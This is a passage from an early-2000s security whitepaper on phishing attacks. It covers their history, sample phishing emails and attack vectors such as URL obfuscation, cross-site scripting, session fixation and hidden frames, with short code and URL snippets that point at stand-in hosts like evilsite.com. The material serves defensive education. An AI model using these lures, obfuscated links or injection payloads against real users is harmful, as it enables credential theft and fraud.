TechnicalInfoBannerA
TechnicalInfoBannerB
TechnicalInfoBannerC

Whitepapers
The Phishing Guide
Part 1 - Attack
Part 2 - Defense

  The Phishing Guide (Part 1)
Understanding and Preventing Phishing Attacks

Phishing is the new 21st century crime. The global media runs stories on an almost daily basis covering the latest organisation to have their customers targeted and how many victims succumbed to the attack. While the Phishers develop evermore sophisticated attack vectors, businesses flounder to protect their customers’ personal data and look to external experts for improving email security. Customers too have become wary of “official” email, and organisations struggle to install confidence in their communications.

While various governments and industry groups battle their way in preventing Spam, organisations can in the meantime take a proactive approach in combating the phishing threat. By understanding the tools and techniques used by professional criminals, and analysing flaws in their own perimeter security or applications, organisations can prevent many of the most popular and successful phishing attack vectors.

This paper covers the technologies and security flaws Phishers exploit to conduct their attacks, and provides detailed vendor-neutral advice on what organisations can do to prevent future attacks. Security professionals and customers can use this comprehensive analysis to arm themselves against the next phishing scam to reach their in-tray.

Section 1: A Case for Prevention

1.1  A 21st Century Scam

Throughout the centuries, identity theft has always been high on a criminal’s agenda. By gaining access to someone else’s personal data and impersonating them, a criminal may pursue a crime in near anonymity. In today’s 21st Century world, electronic identity theft has never been easier.

Hidden away amongst the mounds of electronic junk mail, and bypassing many of today’s best anti-spam filters, a new attack vector lies in wait to steal confidential personal information. What originally began as a malicious hobby, utilising many of the most popular Internet communication channels, professional criminals are now using spoofed messages to lure victims into traps specifically designed to steal their electronic identity.

The name on the (electronic) street is Phishing; the process of tricking or socially engineering an organisations customers into imparting their confidential information for nefarious use. Riding on the back of mass-mailings such as Spam, or using ‘bots to automatically target victims, any online business may find Phishers masquerading as them and targeting their customer base. Organisational size doesn’t matter; the quality of the personal information reaped from the attack has a value all in itself to the criminals.

Phishing scams have been escalating in number and sophistication with every month that goes by. A phishing attack today now targets audience sizes that range from mass-mailings to millions of email addresses around the world, through to highly targeted groups of customers that have been enumerated through security faults in small clicks-and-mortar retail websites. Using a multitude of attack vectors ranging from man-in-the-middle attacks and key loggers, through to complete recreation of a corporate website, Phishers can easily fool customers into submitting personal, financial and password data. While Spam was (and continues to be) annoying, distracting and burdensome to all its recipients, Phishing has already shown the potential to inflict serious losses of data and direct losses due to fraudulent currency transfers.

According to a recent study by Gartner, 57 million US Internet users have identified the receipt of email linked to phishing scams, and about 1.7 million of them are thought to have succumbed to the convincing attacks and tricked them into divulging personal information. Studies by the Anti Phishing Working Group (APWG) have concluded that Phishers are likely to succeed with as much as 5 percent of all message recipients.

With various experts extolling proprietary additions or collaborative improvements to core message delivery protocols such as SMTP, organisations may feel that they must wait for third-party fixes to become available before finding a solution to Phishing. While the security failures within SMTP are indeed a popular exploit vector for Phishers, there are an increasingly array of communication channels available for malicious message delivery. As with most criminal enterprises, if there is sufficient money to be made through phishing, other message delivery avenues will be sought – even if the holes in SMTP are eventually closed (although this is unlikely to happen within the next 3-5 years).

While many high profile financial organisations and large Internet businesses have taken some steps towards increasing their customers’ awareness, most organisations have done very little to actively combat Phishers. By taking a hands-on approach to their security, organisations will find that there are many tools and techniques available them to combat the Phisher.

With the high fear-factor associated with possible phishing scams, organisations that take a proactive stance in protecting their customers’ personal information are likely to benefit from higher levels of trust and confidence in their services. In an era of shifting customer allegiances, protection against phishing scams may just become a key deciding factor in gaining their loyalty.

1.2  Phishing History

The word “phishing” originally comes from the analogy that early Internet criminals used email lures to “phish” for passwords and financial data from a sea of Internet users. The use of “ph” in the terminology is partly lost in the annals of time, but most likely linked to popular hacker naming conventions such as “Phreaks” which traces back to early hackers who were involved in “phreaking” – the hacking of telephone systems.

The term was coined in the 1996 timeframe by hackers who were stealing America Online (AOL) accounts by scamming passwords from unsuspecting AOL users. The popularised first mention on the Internet of phishing was made in alt.2600 hacker newsgroup in January 1996, however the term may have been used even earlier in the popular hacker newsletter “2600”.

It used to be that you could make a fake account on AOL so long as you had a credit card generator. However, AOL became smart. Now they verify every card with a bank after it is typed in. Does anyone know of a way to get an account other than phishing?

—mk590, "AOL for free?" alt.2600, January 28, 1996

By 1996, hacked accounts were called "phish", and by 1997 phish were actively being traded between hackers as a form of electronic currency. There are instances whereby Phishers would routinely trade 10 working AOL phish for a piece of hacking software or warez (stolen copyrighted applications and games). The earliest media citation referring to phishing wasn’t made until March 1997:

The scam is called 'phishing' — as in fishing for your password, but spelled differently — said Tatiana Gau, vice president of integrity assurance for the online service.

—Ed Stansel, "Don't get caught by online 'phishers' angling for account information," Florida Times-Union, March 16, 1997

Over time, the definition of what constitutes a phishing attack has blurred and expanded. The term Phishing covers not only obtaining user account details, but now includes access to all personal and financial data. What originally entailed tricking users into replying to emails for passwords and credit card details, has now expanded into fake websites, installation of Trojan horse key-loggers and screen captures, and man-in-the-middle data proxies – delivered through any electronic communication channel.

Due to the Phishers high success rate, an extension to the classic phishing scam now includes the use of fake jobsites or job offers. Applicants are enticed with the notion of making a lot of money for very little work – just creating a new bank account, taking the funds that have been transferred into it (less their personal commission) and sending it on as an international money order - classic money laundering techniques.

Section 2: The Phishing Threat

2.1  Social Engineering Factors

Phishing attacks rely upon a mix of technical deceit and social engineering practices. In the majority of cases the Phisher must persuade the victim to intentionally perform a series of actions that will provide access to confidential information.
Communication channels such as email, web-pages, IRC and instant messaging services are popular. In all cases the Phisher must impersonate a trusted source (e.g. the helpdesk of their bank, automated support response from their favourite online retailer, etc.) for the victim to believe.

To date, the most successful Phishing attacks have been initiated by email – where the Phisher impersonates the sending authority (e.g. spoofing the source email address and embedding appropriate corporate logos). For example, the victim receives an email supposedly from support@mybank.com (address is spoofed) with the subject line 'security update’, requesting them to follow the URL www.mybank-validate.info (a domain name that belongs to the attacker – not the bank) and provide their banking PIN number.

However, the Phisher has many other nefarious methods of social engineering victims into surrendering confidential information. In the real example below, the email recipient is likely to have believed that their banking information has been used by someone else to purchase unauthorised services. The victim would then attempt to contact the email sender to inform them of the mistake and cancel the transaction. Depending upon the specifics of the scam, the Phisher would ask (or provide an online “secure” web page) for the recipient to type-in their confidential details (such as address, credit card number and security code, etc.), to reverse the transaction – thereby verifying the live email address (and potentially selling this information on to other spammers) and also capturing enough information to complete a real transaction.

Subject: Web Hosting - Receipt of Payment QdRvxrOeahwL9xaxdamLRAIe3NM1rL

Dear friend,

Thank you for your purchase!
This message is to inform you that your order has been received
and will be processed shortly.

Your account is being processed for $79.85, for a 3 month term.
You will receive an account setup confirmation within the next
24 hours with instructions on how to access your account.
If you have any questions regarding this invoice,
please feel free to contact us at tekriter.com.
We appreciate your business and look forward to a great relationship!

Thank You,

The Tekriter.com Team

ORDER SUMMARY
-------------
Web Hosting............. $29.85
Setup................... $30.00

Domain Registration..... $20.00
Sales Date.............. 08/04/2004
Domain.................. nashshanklin.com

Total Price............. $79.85
Card Type............... Visa


2.2. Phishing Message Delivery

2.2.1. Email and Spam

Phishing attacks initiated by email are the most common. Using techniques and tools used by Spammers, Phishers can deliver specially crafted emails to millions of legitimate “live” email addresses within a few hours (or minutes using distributed Trojan networks). In many cases, the lists of addresses used to deliver the phishing emails are purchased from the same sources as conventional spam.

Utilising well known flaws in the common mail server communication protocol (SMTP), Phishers are able to create emails with fake “Mail From:” headers and impersonate any organisation they choose. In some cases, they may also set the “RCPT To:” field to an email address of their choice (one which they can pickup email from); whereby any customer replies to the phishing email will be sent to them. The growing press coverage over phishing attacks has meant that most customers are very wary of sending confidential information (such as passwords and PIN information) by email – however it still successful in may cases.

Techniques used within Phishing emails:

  • Official looking and sounding emails
  • Copies of legitimate corporate emails with minor URL changes
  • HTML based email used to obfuscate target URL information
  • Standard virus/worm attachments to emails
  • A plethora of anti spam-detection inclusions
  • Crafting of “personalised” or unique email messages
  • Fake postings to popular message boards and mailing lists
  • Use of fake “Mail From:” addresses and open mail relays for disguising the source of the email

A Real-life Phishing Example
The following is an email sent to many thousands of Westpac banking customers in May 2004. While the language sophistication is poor (probably due to the writer not being a native English speaker), many recipients were still fooled.

Subject: Westpac official notice

Westpac
AustraIia's First Bank

Dear cIient of the Westpac Bank,

The recent cases of fraudulent use of clients accounts forced the Technical services of the bank to update the software. We regret to acknowledge, that some data on users accounts could be lost. The administration kindly asks you to follow the reference given below and to sign in to your online banking account:

https://oIb.westpac.com.au/ib/defauIt.asp

We are gratefuI for your cooperation.

Please do not answer this message and follow the above mentioned instructions.

Copyright © 2004 - Westpac Banking Corporation ABN 33 007 457 141.

Things to note with this particular attack:

  • The email was sent in HTML format (some attacks use HTML emails that are formatted to look like they are plain-text – making is much harder for the recipient to identify the hidden “qualities” of the emails dynamic content).
  • Lower-case L’s have been replaced with upper-case I’s. This is used to help bypass many standard anti-spam filters, and in most fonts (except for the standard Courier font used in this example) fools the recipient into reading them as L’s.
  • Hidden within the HTML email were many random words. These words were set to white (on the white background of the email) so were not directly visible to the recipient. The purpose of these words was to help bypass standard anti-spam filters.
  • Within the HTML-based email, the URL link https://oIb.westpac.com.au/ib/defauIt.asp in fact points to a escape-encoded version of the following URL: http://olb.westpac.com.au.userdll.com:4903/ib/index.htm
    This was achieved using standard HTML coding such as:
<a href= http://olb.westpac.com.au.userdll.com:4903/ib/index.htm> https://oIb.westpac.com.au/ib/defauIt.asp</a>
  • The Phishers have used a sub-domain of USERDLL.COM in order to lend the illusion of it really being the Westpac banking site. Many recipients are likely to be fooled by olb.westpac.com.au.userdll.com.
  • The non-standard HTTP port of 4903 can be attributed to the fact that the Phishers fake site was hosted on a third-party PC that had been previously compromised by an attacker.
  • Recipients that clicked on the link were then forwarded to the real Westpac application. However a JavaScript popup window containing a fake login page was presented to them. Expert analysis of this JavaScript code identified that pieces of it had been used previously in another phishing attack – one targeting HSBC.
  • This fake login window was designed to capture and store the recipient’s authentication credentials. An interesting aspect to this particular phishing attack is that the JavaScript also submitted the authentication information to the real Westpac application and forwarded them on to the site. Therefore the recipient would be unaware that their initial connection had been intercepted and their credentials captured.

2.2.2. Web-based Delivery

An increasingly popular method of conducting phishing attacks is through malicious web-site content. This content may be included within a web-site operated by the Phisher, or a third-party site hosting some embedded content.

Web-based delivery techniques include:

  • The inclusion of HTML disguised links (such as the one presented in the Westpac email example). within popular web-sites, message boards.
  • The use of third-party supplied, or fake, banner advertising graphics to lure customers to the Phishers web-site.
  • The use of web-bugs (hidden items within the page – such as a zero-sized graphic) to track a potential customer in preparation for a phishing attack.
  • The use of pop-up or frameless windows to disguise the true source of the Phishers message.
  • Embedding malicious content within the viewable web-page that exploits a known vulnerability within the customers web browser software and installs software of the Phishers choice (e.g. key-loggers, screen-grabbers, back-doors and other Trojan horse programs).
  • Abuse of trust relationships within the customers web-browser configuration to make use of site-authorised scriptable components or data storage areas.

Fake Banner Advertising
Banner advertising is a very simple method Phishers may use to redirect an organisations customer to a fake web-site and capture confidential information. Using copied banner advertising, and placing it on popular websites, all which is necessary is some simple URL obfuscation techniques to obscure the final destination.

With so many providers of banner advertising services to choose from, it is a simple proposition for the Phisher to create their own online account (providing a graphic such as the one above and a URL of their choice) and have the service provider automatically distribute it to many of their managed websites. Using stolen credit cards or other banking information, the Phisher can easily conceal their identity from law enforcement agencies.

2.2.3. IRC and Instant Messaging

New on the Phishers radar, IRC and Instant Messaging (IM) forums are likely to become a popular phishing ground. As these communication channels become more popular with home users, and more functionality is included within the software, specialist phishing attacks will increase.

As many IRC and IM clients allow for embedded dynamic content (e.g. graphics, URL’s, multimedia includes, etc.) to be sent by channel participants, it is a trivial task to employ many of the phishing techniques used in standard web-based attacks.

The common usage of Bots (automated programs that listen and participate in group discussions) in many of the popular channels, means that it is very easy for a Phisher to anonymously send semi-relevant links and fake information to would-be victims.


2.2.4. Trojaned Hosts

While the delivery medium for the phishing attack may be varied, the delivery source is increasingly becoming home PC’s that have been previously compromised. As part of this compromise, a Trojan horse program has been installed which allows Phishers (along with Spammers, Warez Pirates, DDoS Bots, etc.) to use the PC as a message propagator. Consequently, tracking back a Phishing attack to an individual initiating criminal is extremely difficult.

It is important to note that the installation of Trojan horse software is on the increase, despite the efforts of large anti-virus companies. Many malicious or criminal groups have developed highly successful techniques for tricking home users into installing the software, and now operate large networks of Trojan deployments (networks consisting of thousands of hosts are not uncommon) capable of being used as Phishing email propagators or even hosting fraudulent web-sites.

That is not to say that Phishers are not capable of using Trojan horse software against a customer specifically to observe their confidential information. In fact, to harvest the confidential information of several thousand customers simultaneously, Phishers must be selective about the information they wish to record or be faced with information overload.

Information Specific Trojans
Early in 2004, a Phisher created a custom key-logger Trojan. Embedded within a standard HTML message (both in email format and a few compromised popular web sites) was code that attempted to launch a Java applet called “javautil.zip”. Although appearing to be a binary zip file, it was in fact an executable file that would be automatically executed in client browsers that had lax security permissions.

The Trojan key-logger was designed specifically to capture all key presses within windows with the titles of various names including:- commbank, Commonwealth, NetBank, Citibank, Bank of America, e-gold, e-bullion, e-Bullion, evocash, EVOCash, EVOcash, intgold, INTGold, paypal, PayPal, bankwest, Bank West, BankWest, National Internet Banking, cibc, CIBC, scotiabank and ScotiaBank.

2.3  Phishing Attack Vectors

For a Phishing attack to be successful, it must use a number of methods to trick the customer into doing something with their server and/or supplied page content. There are an ever increasing number of ways to do this. The most common methods are explained in detail below, and include:

  • Man-in-the-middle Attacks
  • URL Obfuscation Attacks
  • Cross-site Scripting Attacks
  • Preset Session Attacks
  • Observing Customer Data
  • Client-side Vulnerability Exploitation
     

2.3.1. Man-in-the-middle Attacks

One of the most successful vectors for gaining control of customer information and resources is through man-in-the-middle attacks. In this class of attack, the attacker situates themselves between the customer and the real web-based application, and proxies all communications between the systems. From this vantage point, the attacker can observe and record all transactions.

This form of attack is successful for both HTTP and HTTPS communications. The customer connects to the attackers server as if it was the real site, while the attackers server makes a simultaneous connection to the real site. The attackers server then proxies all communications between the customer and the real web-based application server – typically in real-time.

In the case of secure HTTPS communications, an SSL connection is established between the customer and the attackers proxy (hence the attackers system can record all traffic in an unencrypted state), while the attackers proxy creates its own SSL connection between itself and the real server.

Figure: Man-in-the-middle attack structure

For man-in-the-middle attacks to be successful, the attacker must be able to direct the customer to their proxy server instead of the real server. This may be carried out through a number of methods:

  • Transparent Proxies
  • DNS Cache Poisoning
  • URL Obfuscation
  • Browser Proxy Configuration
     

Transparent Proxies
Situated on the same network segment or located on route to the real server (e.g. corporate gateway or intermediary ISP), a transparent proxy service can intercept all data by forcing all outbound HTTP and HTTPS traffic through itself. In this transparent operation no configuration changes are required at the customer end.

DNS Cache Poisoning
“DNS Cache Poisoning” may be used to disrupt normal traffic routing by injecting false IP addresses for key domain names. For example, the attacker poisons the DNS cache of a network firewall so that all traffic destined for the MyBank IP address now resolves to the attackers proxy server IP address.

URL Obfuscation
Using URL obfuscation techniques, the attacker tricks the customer into connecting to their proxy server instead of the real server. For example, the customer may follow a link to http://www.mybank.com.ch/ instead of http://www.mybank.com/

Browser Proxy Configuration
By overriding the customers web-browser setup and setting proxy configuration options, an attacker can force all web traffic through to their nominated proxy server. This method is not transparent to the customer, and the customer may easily review their web browser settings to identify an offending proxy server.
In many cases browser proxy configuration changes setting up the attack will have been carried out in advance of receipt of the Phishing message.

2.3.2. URL Obfuscation Attacks

The secret for many phishing attacks is to get the message recipient to follow a hyperlink (URL) to the attacker’s server, without them realising that they have been duped. Unfortunately phishers have access to an increasingly large arsenal of methods for obfuscating the final destination of the customer’s web request.
The most common methods of URL obfuscation include:

  • Bad domain names
  • Friendly login URL’s
  • Third-party shortened URL’s
  • Host name obfuscation
  • URL obfuscation

Bad Domain Names
One of the most trivial obfuscation methods is through the purposeful registration and use of bad domain names. Consider the financial institute MyBank with the registered domain mybank.com and the associated customer transactional site http://privatebanking.mybank.com. The Phisher could set up a server using any of the following names to help obfuscate the real destination host:

  • http://privatebanking.mybank.com.ch
  • http://mybank.privatebanking.com
  • http://privatebanking.mybonk.com or even http://privatebanking.mybánk.com
  • http://privatebanking.mybank.hackproof.com

It is important to note that as domain registration organisations move to internationalise their services, it is possible to register domain names in other languages and their specific character sets. For example, the Cyrillic “o” looks identical to the standard ASCII “o” but can be used for different domain registration purposes - as pointed out by a company who registered microsoft.com in Russia a few years ago.

Finally, it is worth noting that even the standard ASCII character set allows for ambiguities such as upper-case “i” and lower-case “L”.


Friendly Login URL’s
Many common web browser implementations allow for complex URL’s that can include authentication information such as a login name and password. In general the format is URI://username:password@hostname/path.

Phishers may substitute the username and password fields for details associated with the target organisation. For example the following URL sets the username = mybank.com, password = ebanking and the destination hostname is evilsite.com.

http://mybank.com:ebanking@evilsite.com/phishing/fakepage.htm

This friendly login URL can successfully trick many customers into thinking that they are actually visiting the legitimate MyBank page. Because of its success, many current browser versions have dropped support for this URL encoding method.


Third-party Shortened URL’s
Due to the length and complexity of many web-based application URLs – combined with the way URL’s may be represented and displayed within various email systems (e.g. extra spaces and line feeds into the URL) – third-party organisations have sprung up offering free services designed to provide shorter URL’s.

Through a combination of social engineering and deliberately broken longs or incorrect URL’s, Phishers may use these free services to obfuscate the true destination. Common free services include http://smallurl.com and http://tinyurl.com. For example:

Dear valued MyBank customer,

Our automated security systems have indicated that access to your online account was temporarily blocked on Friday 13th September between the hours of 22:32 and 23:46 due to repeated login failures.

Our logs indicate that your account received 2935 authentication failures during this time. It is most probable that your account was subject to malicious attack through automated brute forcing techniques (for more information visit http://support.mybank.com/definitions/attacks.aspx?type=bruteforce).

While MyBank were able to successfully block this attack, we would recommend that you ensure that your password is sufficiently complex to prevent future attacks. To log in and change your password, please click on the following URL:
https://privatebanking.mybank.com/privatebanking/ebankver2/secure/customer
support.aspx?messageID=3324341&Sess=asp04&passwordvalidate=true
&changepassword=true

If this URL does not work, please use the following alternative link which will redirect to the full page - http://tinyurl.com/4outd

Best regards,
MyBank Customer Support


Host Name Obfuscation
Most Internet users are familiar with navigating to sites and services using a fully qualified domain name, such as www.evilsite.com. For a web browser to communicate over the Internet, this address must to be resolved to an IP address, such as 209.134.161.35 for www.evilsite.com. This resolution of IP address to host name is achieved through domain name servers. A Phisher may wish to use the IP address as part of a URL to obfuscate the host and possibly bypass content filtering systems, or hide the destination from the end user.

For example the following URL:
http://mybank.com:ebanking@evilsite.com/phishing/fakepage.htm
could be obfuscated such as:
http://mybank.com:ebanking@210.134.161.35/login.htm

While some customers are familiar with the classic dotted-decimal representation of IP addresses (000.000.000.000), most are not familiar with other possible representations. Using these other IP representations within an URL, it is possible obscure the host destination even further from regular inspection.

Depending on the application interpreting an IP address, there may be a variety of ways to encode the address other than the classic dotted-decimal format. Alternative formats include:

  • Dword - meaning double word because it consists essentially of two binary "words" of 16 bits; but it is expressed in decimal (base 10),
  • Octal - address expressed in base 8, and
  • Hexadecimal - address expressed in base 16.

These alternative formats are best explained using an example. Consider the URL http://www.evilsite.com/, resolving to 210.134.161.35. This can be interpreted as:

  • Decimal – http://210.134.161.35/
  • Dword – http:// 3532038435/
  • Octal – http://0322.0206.0241.0043/
  • Hexadecimal – http://0xD2.0x86.0xA1.0x23/ or even http://0xD286A123/
  • In some cases, it may be possible to mix formats (e.g. http://0322.0x86.161.0043/).


URL Obfuscation
To ensure support for local languages in Internet software such as web browsers and email clients, most software will support alternate encoding systems for data. It is a trivial exercise for a Phisher to obfuscate the true nature of a supplied URL using one (or a mix) of these encoding schemes.

These encoding schemes tend to be supported by most web browsers, and can be interpreted in different ways by web servers and their custom applications. Typical encoding schemes include:

  • • Escape Encoding – Escaped-encoding, or sometimes referred to as percent-encoding, is the accepted method of representing characters within a URL that may need special syntax handling to be correctly interpreted. This is achieved by encoding the character to be interpreted with a sequence of three characters. This triplet sequence consists of the percentage character “%” followed by the two hexadecimal digits representing the octet code of the original character. For example, the US-ASCII character set represents a space with octet code 32, or hexadecimal 20. Thus its URL-encoded representation is %20.
  • Unicode Encoding – Unicode Encoding is a method of referencing and storing characters with multiple bytes by providing a unique reference number for every character no matter what the language or platform. It is designed to allow a Universal Character Set (UCS) to encompass most of the world's writing systems. Many modern communication standards (such as XML, Java, LDAP, JavaScript, WML, etc.), operating systems and web clients/servers use Unicode character values. Unicode (UCS-2 ISO 10646) is a 16-bit character encoding that contains all of the characters (216 = 65,536 different characters total) in common use in the world's major languages. Microsoft Windows platforms allow for the encoding of Unicode characters in the following format - %u0000 – for example %u0020 represents a space, while %u01FC represents the accented Ǽ and %uFD3F is an ornate right parenthesis.
  • Inappropriate UTF-8 Encoding – One of the most commonly utilised formats, Unicode UTF-8, has the characteristic of preserving the full US-ASCII character range. This great flexibility provides many opportunities for disguising standard characters in longer escape-encoded sequences. For example, the full stop character “.” may be represented as %2E, or %C0%AE, or %E0%80%AE, or %F0%80%80%AE, or %F8%80%80%80%AE, or even %FX%80%80%80%80%AE.
  • Multiple Encoding – Various guidelines and RFC's carefully explain the method of decoding escape encoded characters and hint at the dangers associated with decoding multiple times and at multiple layers of an application. However, many applications still incorrectly parse escape-encoded data multiple times. Consequently, Phishers may further obfuscate the URL information by encoding characters multiple times (and in different fashions). For example, the back-slash “\” character may be encoded as %25 originally, but could be extended to: %255C, or %35C, or %%35%63, or %25%35%63, etc.


2.3.3. Cross-site Scripting Attacks

Cross-site scripting attacks (commonly referred to as CSS or XSS) make use of custom URL or code injection into a valid web-based application URL or imbedded data field. In general, these CSS techniques are the result of poor web-application development processes.

While there are numerous vectors for carrying out a CSS attack, Phishers must make use of URL formatted attacks. Typical formats for CSS injection into valid URL’s include:

  • Full HTML substitution such as: http://mybank.com/ebanking?URL=http://evilsite.com/phishing/fakepage.htm
  • Inline embedding of scripting content, such as: http://mybank.com/ebanking?page=1&client=<SCRIPT>evilcode...
  • Forcing the page to load external scripting code, such as: http://mybank.com/ebanking?page=1&response=evilsite.com%21evilcode.js&go=2

Figure: Cross-site scripting attacks

In the example above, the customer has received the following URL via a Phishers email:
http://mybank.com/ebanking?URL=http://evilsite.com/phishing/fakepage.htm

While the customer is indeed directed and connected to the real MyBank web application, due to poor application coding by the bank, the ebanking component will accept an arbitrary URL for insertion within the URL field the returned page. Instead of the application providing a MyBank authentication form embedded within the page, the attacker has managed to reference a page under control on an external server (http://evilsite.com/phishing/fakepage.htm).

Unfortunately, as with most CSS vulnerabilities, the customer has no way of knowing that this authentication page is not legitimate. While the example URL may appear obvious, the attacker could easily obfuscate it using the techniques explained earlier. For example, http://evilsite.com/phishing/fakepage.htm
may instead become:
http%3A%2F%2F3515261219%2Fphishing%C0%AEfakepage%2Ehtm


2.3.4. Preset Session Attack

Since both HTTP and HTTPS are stateless protocols, web-based applications must use custom methods of tracking users through its pages and also manage access to resources that require authentication. The most common way of managing state within such an application is through Session Identifiers (SessionID’s). These SessionID’s may be implemented through cookies, hidden fields or fields contained within page URLs.

Many web-based applications implement poor state management systems and will allow client connections to define a SessionID. The web application will track the user around the application using the preset SessionID, but will usually require the user to authenticate (e.g. supply identification information through the formal login page) before allowing them access to “restricted” page content.

In this class of attack the phishing message contains a web link to the real application server, but also contains a predefined SessionID field. The attackers system constantly polls the application server for a restricted page (e.g. an e-banking page that allows fund transfers) using the preset SessionID. Until a valid user authenticates against this SessionID, the attacker will receive errors from the web-application server (e.g. 404 File Not Found, 302 Server Redirect, etc.).

The phishing attacker must wait until a message recipient follows the link and authenticates themselves using the SessionID. Once authenticated, the application server will allow any connection using the authorised SessionID to access restricted content (since the SessionID is the only state management token in use). Therefore, the attacker can use the preset SessionID to access a restricted page and carryout his attack.
The following figure shows how the Preset Session Attack (sometimes referred to as Session Fixation) is conducted:

Figure: Preset session attacks

Here the Phisher has bulk-emailed potential MyBank customers a fake message containing the URL https://mybank.com/ebanking?session=3V1L5e5510N&Login=True containing a preset SessionID of 3V1L5e5510N and continually polls the MyBank server every minute for a restricted page that will allow customer Fund Transfers (https://mybank.com/ebanking?session=3V1L5e5510N&Transfer=True).

Until a customer authenticates using the SessionID, the Phisher will receive errors when trying to access the page as the SessionID is invalid. After the customer authenticates themselves the SessionID becomes valid, and the Phisher can access the Fund Transfer page.

2.3.5. Hidden Attacks

Extending beyond the obfuscation techniques discussed earlier, an attacker may make use of HTML, DHTML and other scriptable code that can be interpreted by the customers web browser and used to manipulate the display of the rendered information. In many instances the attacker will use these techniques to disguise fake content (in particular the source of the page content) as coming from the real site – whether this is a man-in-the-middle attack, or a fake copy of the site hosted on the attackers own systems.

The most common vectors include:

  • Hidden Frames
  • Overriding Page Content
  • Graphical Substitution

Hidden Frames
Frames are a popular method of hiding attack content due to their uniform browser support and easy coding style.

In the following example, two frames are defined. The first frame contains the legitimate site URL information, while the second frame – occupying 0% of the browser interface – references the Phishers chosen content. The page linked to within the hidden frame can be used to deliver additional content (e.g. overriding page content or graphical substitution), retrieving confidential information such as SessionID’s or something more nefarious; such as executing screen-grabbing and key-logging observation code.

<frameset rows="100%,*" framespacing="0">
<frame name="real" src="http://mybank.com/" scrolling="auto">
<frame name="hiddenContent" src="http://evilsite.com/bad.htm" scrolling="auto">
</frameset>

Hidden frames may be used for:

  • Hiding the source address of the attacker’s content server. Only the URL of the master frameset document will be visible from the browser interface unless the user follows a link with the target attribute site to "_top".
  • Used to provide a fake secure HTTPS wrapper (forcing the browser to display a padlock or similar visual security clue) for the sites content – while still using insecure HTTP for hidden page content and operations.
  • Hiding HTML code from the customer. Customers will not be able to view the hidden pages code through the standard “View Source” functions available to them.
  • “Page Properties” will only indicate the top most viewable page source in most browser software.
  • Loading images and HTML content in the background for later use by a malicious application.
  • Storing and implementing background code operations that will report back to the attacker what the customer does in the “real” web page.
  • Combined with client-side scripting languages, it is possible to replicate functionality of the browser toolbar; including the representation of URL information and page headers.

Overriding Page Content
Several methods exist for Phishers to override displayed content. One of the most popular methods of inserting fake content within a page is to use the DHTML function - DIV. The DIV function allows an attacker to place content into a “virtual container” that, when given an absolute position and size through the STYLE method, can be positioned to hide or replace (by “sitting on top”) underlying content. This malicious content may be delivered as a very long URL or by referencing a stored script. For example, the following code segment contains the first three lines of a small JavaScript file (e.g. fake.js) for overwriting a pages content.

var d = document;
d.write('<DIV id="fake" style="position:absolute; left:200; top:200; z-index:2">
<TABLE width=500 height=1000 cellspacing=0 cellpadding=14><TR>');
d.write('<TD colspan=2 bgcolor=#FFFFFF valign=top height=125>');
......

This method allows an attacker to build a complete page (including graphics and auxiliary scripting code elements) on top of the real page.

Graphical Substitution
While it is possible to overwrite page content easily through multiple methods, one problem facing Phishers is that of browser specific visual clues to the source of an attack. These clues include the URL presented within the browsers URL field, the secure padlock representing an HTTPS encrypted connection, and the Zone of the page source.
A common method used to overcome these visual clues is through the use of browser scripting languages (such as JavaScript, VBScript and Java) to position specially created graphics over these key areas with fake information.
In the example below, the attacker uses carefully positioned fake address bar and padlock/zone images to hide the real information. While the Phisher must use graphics that are appropriate to the manufacturer of the browser software, it is a trivial exercise for the attackers fake web site to determine the browser type and exact version through simple code queries. Therefore the attacker may prepare images for a range of common browsers and code their page in such a way that the appropriate images are always used.

Figure: Site impersonation with browser address bar, secure padlock and zone substitution

It is important to note that Phishing attacks in the past have combined graphical substitution with additional scripting code to fake other browser functionality. Examples include:

  • Implementing “right-click” functionality and menu access,
  • Presenting false popup messages just as the real browser or web application would,
  • Displaying fake SSL certificate details when reviewing page properties or security settings – through the use of images.

Using simple HTML embedded commands, an attacker can hijack the entire customer’s desktop (user interface) and construct a fake interface to capture and manipulate what the customer sees. This is done using the window.createPopup() and popup.show() commands. For example:

op=window.createPopup();
op.document.body.innerHTML="...html...";
op.show(0,0,screen.width,screen.height,document.body);


2.3.6. Observing Customer Data

An old favourite amongst the hacker community and becoming increasingly popular amongst Phishers, key-loggers and screen-grabbers can be used to observe confidential customer data as it is entered into a web-based application.

This information is collected locally and typically retrieved through by attacker through the following different methods:

  • Continuous streaming of data (i.e. data is sent as soon as it is generated) using a custom data sender/receiver pair. To do this, the attacker must often keep a connection open to the customer’s computer.
  • Local collection and batching of information for upload to the attacker’s server. This may be done through protocols such as FTP, HTTP, SMTP, etc.
  • Backdoor collection by the attacker. The observation software allows the attacker to connect remotely to the customer’s machine and pull back the data as and when required.

Key-logging
The purpose of key loggers is to observe and record all key presses by the customer – in particular, when they must enter their authentication information into the web-based application login pages. With these credentials the Phisher can then use the account for their own purposes at a later date and time.

Key-loggers may be pre-compiled objects that will observe all key presses – regardless of application or context (e.g. they could be used to observe the customer using Microsoft Word to type a letter) – or they may be written in client-side scripting code to observe key presses within the context of the web browser. Due to client-side permissions, it is usually easier to use scripting languages for Phishing attacks.

Screen Grabbing
Some sophisticated Phishing attacks make use of code designed to take a screen shot of data that has been entered into a web-based application. This functionality is used to overcome some of the more secure financial applications that have special features build-in to prevent against standard key-logging attacks.
In many cases, only the relevant observational area is required (i.e. a small section of the web page instead of the entire screen) and the Phishers software will only record this data – thus keeping the upload data capture small and quick to transfer to their server.

For example, in a recent Phishing attempt against Barclays, the attack used screen grabbing techniques to capture an image of the second-tier login process designed to prevent key-logging attempts.


2.3.7. Client-side Vulnerabilities

The sophisticated browsers customers use to surf the web, just like any other commercial piece of software, are often vulnerable to a myriad of attacks. The more functionality built into the browser, the more likely their exists a vulnerability that could be exploited by an attacker to gain access to, or otherwise observe, confidential information of the customer.

While software vendors have made great strides in methods of rolling out software updates and patches, home users are notoriously poor in applying them. This, combined with the ability to install add-ons (such as Flash, RealPlayer and other embedded applications) means that there are many opportunities for attack.

Similar to the threat posed by some of the nastier viruses and automated worms, these vulnerabilities can be exploited in a number of ways. However, unlike worms and viruses, many of the attacks cannot be stopped by anti-virus software as they are often much harder to detect and consequently prevent (i.e. the stage in which the antivirus product is triggered, is usually after the exploitation and typically only if the attacker tries to install a well known Backdoor Trojan or key-logger utility).

Example 1: Microsoft Internet Explorer URL Mishandling
By inserting a character (in this case 0x01 – represented as the escape encoded sequence %01) within the username section of the Friendly Login URL, a user would be redirected to the attackers server, but characters after the %01 would not be displayed in the browser URL field. Therefore this attack could be used to obfuscate the attackers full URL.

Sample HTML code:

location.href=unescape('http://www.mybank.com%
